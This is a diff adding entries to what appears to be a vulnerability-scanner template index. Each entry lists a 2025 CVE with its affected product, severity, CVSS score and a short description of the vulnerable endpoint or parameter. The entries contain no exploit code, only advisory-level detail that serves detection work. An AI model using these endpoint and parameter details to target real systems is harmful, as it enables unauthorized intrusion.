+{"ID":"CVE-2025-12480","Info":{"Name":"Triofox - Improper Access Control","Severity":"critical","Description":"The Gladinet Triofox solution before 12.91.1126.65588 and CentreStack before 12.10.595.65696 allow unauthenticated access to the /management/admindatabase.aspx endpoint, exposing sensitive database management functionality to anyone with network access. An unauthenticated attacker can remotely access, view, and potentially interact with the database management interface, risking data disclosure or system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-12480.yaml"}
+{"ID":"CVE-2025-1302","Info":{"Name":"JSONPath Plus \u003c 10.3.0 - Remote Code Execution","Severity":"critical","Description":"Versions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode. **Note:** This is caused by an incomplete fix for [CVE-2024-21534]\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1302.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
 {"ID":"CVE-2025-1562","Info":{"Name":"Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control","Severity":"critical","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1562.yaml"}
 {"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
@@ -3296,6 +3324,7 @@
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
 {"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
 {"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
+{"ID":"CVE-2025-27915","Info":{"Name":"Zimbra - Cross-Site Scripting via ICS Files","Severity":"medium","Description":"Detects Zimbra Collaboration Suite versions vulnerable to CVE-2025-27915, a stored XSS vulnerability in the Classic Web Client due to insufficient sanitization of HTML content in ICS files. When a user views an email with a malicious ICS entry, embedded JavaScript executes via an ontoggle event inside a details tag, allowing attackers to perform unauthorized actions like email redirection and data exfiltration.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-27915.yaml"}
 {"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
 {"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
 {"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
@@ -3313,8 +3342,10 @@
 {"ID":"CVE-2025-31131","Info":{"Name":"Yeswiki \u003c 4.5.2 - Unauthenticated Path Traversal","Severity":"high","Description":"YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-31131.yaml"}
 {"ID":"CVE-2025-31161","Info":{"Name":"CrushFTP - Authentication Bypass","Severity":"critical","Description":"CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-31161.yaml"}
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
+{"ID":"CVE-2025-31486","Info":{"Name":"Vite server.fs.deny Bypass - Local File Inclusion","Severity":"medium","Description":"Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-31486.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
+{"ID":"CVE-2025-32429","Info":{"Name":"XWiki Platform - SQL Injection","Severity":"critical","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 9.4-rc-1 through 16.10.5 and 17.0.0-rc-1 through 17.2.2, it's possible for anyone to inject SQL using the parameter sort of the getdeleteddocuments.vm. It's injected as is as an ORDER BY value.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32429.yaml"}
 {"ID":"CVE-2025-32430","Info":{"Name":"XWiki Platform - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform versions \u003e= 4.2-milestone-3 and \u003c 16.4.8, \u003e= 16.5.0-rc-1 and \u003c 16.10.6, and \u003e= 17.0.0-rc-1 and \u003c 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32430.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
@@ -3352,11 +3383,14 @@
 {"ID":"CVE-2025-41243","Info":{"Name":"Spring Cloud Gateway Server Webflux - Broken Access Control","Severity":"critical","Description":"Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-41243.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
+{"ID":"CVE-2025-4302","Info":{"Name":"Stop User Enumeration WordPress plugin - Authentication Bypass","Severity":"medium","Description":"Stop User Enumeration WordPress plugin \u003c 1.7.3 contains an authentication bypass caused by URL-encoding the REST API path /wp-json/wp/v2/users/, letting attackers bypass user enumeration restrictions, exploit requires crafted URL encoding.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4302.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
 {"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
+{"ID":"CVE-2025-44136","Info":{"Name":"MapTiler Tileserver-php v2.0 - Unauthenticated XSS","Severity":"medium","Description":"MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \\\"layer\\\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-44136.yaml"}
+{"ID":"CVE-2025-44137","Info":{"Name":"MapTiler Tileserver-php v2.0 - Unauthenticated File Read","Severity":"high","Description":"MapTiler Tileserver-php v2.0 contains a directory traversal caused by improper sanitization of GET parameters in renderTile function, letting attackers read arbitrary files on the server, exploit requires crafted web requests\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-44137.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
 {"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
@@ -3381,12 +3415,18 @@
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
 {"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-49596","Info":{"Name":"MCP Inspector \u003c 0.14.0 UnauthenticatedRemote Code Execution","Severity":"critical","Description":"The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49596.yaml"}
+{"ID":"CVE-2025-49706","Info":{"Name":"Microsoft SharePoint Server - Authentication Bypass","Severity":"medium","Description":"Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-49706.yaml"}
 {"ID":"CVE-2025-49825","Info":{"Name":"Teleport - Authentication Bypass","Severity":"critical","Description":"Teleport versions prior to 17.5.2 are vulnerable to a remote authentication bypass vulnerability. This issue allows attackers to gain unauthorized access to affected systems.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-49825.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
+{"ID":"CVE-2025-51482","Info":{"Name":"Letta Letta 0.7.12 - Remote Code Execution","Severity":"high","Description":"Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-51482.yaml"}
 {"ID":"CVE-2025-51501","Info":{"Name":"Microweber CMS2.0 - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51501.yaml"}
 {"ID":"CVE-2025-51502","Info":{"Name":"Microweber CMS 2.0 - Reflected XSS in Admin Page Creation","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51502.yaml"}
+{"ID":"CVE-2025-51990","Info":{"Name":"XWiki – Stored Cross-Site Scripting (XSS)","Severity":"medium","Description":"XWiki through version 17.3.0 contains stored cross-site scripting caused by improper sanitization of inputs in the Administration interface's Presentation section, letting authenticated administrators inject JavaScript that executes in visitors' browsers, exploit requires administrator authentication.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-51990.yaml"}
+{"ID":"CVE-2025-51991","Info":{"Name":"XWiki \u003c= 17.3.0 - Server-Side Template Injection (SSTI)","Severity":"critical","Description":"XWiki \u003c= 17.3.0 contains a server-side template injection caused by improper validation of Apache Velocity template code in the Administration interface HTTP Meta Info field, letting authenticated administrators execute arbitrary template logic.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-51991.yaml"}
 {"ID":"CVE-2025-52207","Info":{"Name":"MikoPBX - Unrestricted File Upload","Severity":"critical","Description":"MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-52207.yaml"}
+{"ID":"CVE-2025-52472","Info":{"Name":"XWiki - HQL Injection","Severity":"high","Description":"XWiki is vulnerable to Hibernate Query Language (HQL) injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potentially leading to data extraction, authentication bypass, or remote code execution depending on database backend and configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-52472.yaml"}
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
+{"ID":"CVE-2025-52665","Info":{"Name":"UniFi Access - Broken Access Control","Severity":"critical","Description":"UniFi Access Application 3.3.22 through 3.4.31 contains a broken authentication caused by misconfiguration exposing management API without proper authentication, letting attackers on management network access management functions, exploit requires network access.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-52665.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
 {"ID":"CVE-2025-53118","Info":{"Name":"Securden Unified PAM - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists which allows an unauthenticated attacker to control administrator backup functions, leading to compromise of passwords, secrets, and application session tokens stored by the Unified PAM.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53118.yaml"}
 {"ID":"CVE-2025-53364","Info":{"Name":"Parse Server - GraphQL Schema Information Disclosure","Severity":"medium","Description":"The Parse Server GraphQL API previously allowed public access to the GraphQL schema without requiring a session token or the master key. While schema introspection reveals only metadata and not actual data, this metadata can still expand the potential attack surface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53364.yaml"}
@@ -3406,6 +3446,8 @@
 {"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-55161","Info":{"Name":"Stirling-PDF SSRF via Markdown","Severity":"high","Description":"Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-55161.yaml"}
 {"ID":"CVE-2025-55169","Info":{"Name":"WeGIA - Directory Traversal","Severity":"critical","Description":"WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55169.yaml"}
+{"ID":"CVE-2025-55190","Info":{"Name":"ArgoCD Project API Token Repository Credentials Exposure","Severity":"critical","Description":"Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials\n(usernames, passwords) through the project details API endpoint, even when the token only has standard\napplication management permissions and no explicit access to secrets. This vulnerability affects versions\nv2.2.0-rc1 and later, including 2.13.0 through 2.13.8, 2.14.0 through 2.14.15, 3.0.0 through 3.0.12,\nand 3.1.0-rc1 through 3.1.1. Any token with project get permissions is vulnerable, including global permissions.\nNote: This template requires valid ArgoCD credentials (username/password) to test the vulnerability.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-55190.yaml"}
+{"ID":"CVE-2025-55523","Info":{"Name":"Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download","Severity":"high","Description":"Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55523.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-55747","Info":{"Name":"XWiki Platform - Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-55747.yaml"}
 {"ID":"CVE-2025-55748","Info":{"Name":"XWiki Platform - Path Traversal","Severity":"high","Description":"XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55748.yaml"}
@@ -3419,6 +3461,7 @@
 {"ID":"CVE-2025-57822","Info":{"Name":"Next.js Middleware - Server-Side Request Forgery","Severity":"medium","Description":"In Next.js prior to versions 14.2.32 and 15.4.7, when request headerswere insecurely passed to NextResponse.next(), an attacker could exploit this behavior to perform Server-Side Request Forgery (SSRF) attacks.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-57822.yaml"}
 {"ID":"CVE-2025-58179","Info":{"Name":"Astro Cloudflare Adapter - Server Side Request Forgery","Severity":"high","Description":"Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-58179.yaml"}
 {"ID":"CVE-2025-58434","Info":{"Name":"Flowise \u003c= 3.0.5 - Account Takeover","Severity":"critical","Description":"Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-58434.yaml"}
